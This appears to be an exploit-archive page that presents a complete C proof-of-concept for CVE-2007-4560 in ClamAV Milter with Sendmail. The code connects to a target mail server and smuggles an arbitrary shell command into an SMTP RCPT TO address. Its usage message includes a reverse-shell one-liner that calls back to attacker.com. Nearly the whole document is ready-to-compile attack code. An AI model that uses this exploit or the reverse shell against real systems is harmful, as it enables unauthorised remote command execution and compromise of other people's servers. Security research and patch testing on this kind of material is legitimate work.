4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.c C
/*
Exploit Title: ClamAV Milter Sendmail < 0.91.2 Remote Code Execution
Date: Sun Jan 1 03:51:59 PM CET 2023
Exploit Author: 0x1sac
Vendor Homepage: https://www.clamav.net/
Version: < 0.91.1
Tested on: Debian GNU/Linux
CVE: CVE-2007-4560
Compile with: gcc exploit.c -o exploit
*/

#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <stdbool.h>
#include <unistd.h>

#define red "\e[1;31m"
#define green "\e[1;32m"
#define yellow "\e[1;33m"
#define cyan "\e[1;36m"

// Make the sock fd globaly accessible
int sock;

// Receive server data until EOF - for verbosity mode
int getMsg(){
	char buffer[4096];
	ssize_t size;

	while ((size = read(sock, buffer, sizeof(buffer))) > 0){
		write(STDOUT_FILENO, buffer, size);
	}

	return EXIT_SUCCESS;
}

// The actual exploit
int exploit(char *command, bool verbose){
	char payload[4096];
	snprintf(payload, sizeof(payload), "EHLO pwn\r\nMAIL FROM: <>\r\nRCPT TO: <root+\"|%s\"@localhost>\r\nDATA\r\n.\r\nQUIT\r\n", command);
	
	// Send the payload to the remote host by writing to the socket fd
	write(sock, payload, strlen(payload));
	fprintf(stderr, "%s[+] Payload sent!\e[0m\n", green);
	
	if (verbose == true){
		getMsg();
	}

	return EXIT_SUCCESS;
}

int main(int argc, char **argv){
	if (argc < 4){
		fprintf(stderr, "%susage: %s <RHOST> <RPORT> <COMMAND>\n\n", green, argv[0]);
		fprintf(stderr, "%s[example]\n%s victim.com 25 '/usr/bin/env sleep 10' -v\n%s victim.com 25 \"/usr/bin/env bash -c 'bash -i >&/dev/tcp/attacker.com/443 0>&1'\"\n", green, argv[0], argv[0]);
		return EXIT_FAILURE;
	}
	
	// Declaring some variables
	char *rhost = argv[1];
	int rport = atoi(argv[2]);
	char *command = argv[3];
	bool verbose;
	
	// Check for -v option
	for (int i = 0; i < argc; i++){
		if (!strcmp(argv[i], "-v")){
			verbose = true;
		}		
		else {
			verbose = false;
		}
	}
	
	// The PATH environment may not be properly set, so commands may not be found
	if (!strstr(command, "/")){
		fprintf(stderr, "%s[*] Warning: it is advised to use absolute path for commands\n\e[0m", yellow);
	}
	
	// Resolving the remote host
	struct hostent *server = gethostbyname(rhost);

	if (server == NULL){
		fprintf(stderr, "%s[-] Unable to resolve host: %s\e[0m\n", red, rhost);
		return EXIT_FAILURE;
	}

	// Defining the initial socket
	struct sockaddr_in serv_addr;
	sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

	if (sock == -1){
		fprintf(stderr, "%s[-] Unable to create socket: %s\e[0m\n", red, strerror(errno));
		return EXIT_FAILURE;
	}
	
	// Setup socket structure
	serv_addr.sin_family = AF_INET;
	serv_addr.sin_port = htons(rport);
	bcopy((char *)server->h_addr,(char *)&serv_addr.sin_addr.s_addr, server->h_length);

	// Connect to the remote host
	if (connect(sock, (struct sockaddr*)&serv_addr, sizeof(serv_addr)) < 0){
		fprintf(stderr, "%s[-] Unable to connect to `%s` on port `%d` [%s]", red, rhost, rport, strerror(errno));
		close(sock);
		return EXIT_FAILURE;
	}
	
	fprintf(stderr, "%s[+] Connected to %s:%d\e[0m\n", cyan, rhost, rport);
	
	// Launch the exploit
	exploit(command, verbose);

	// Clean up by closing the socket
	close(sock);

	return EXIT_SUCCESS;
}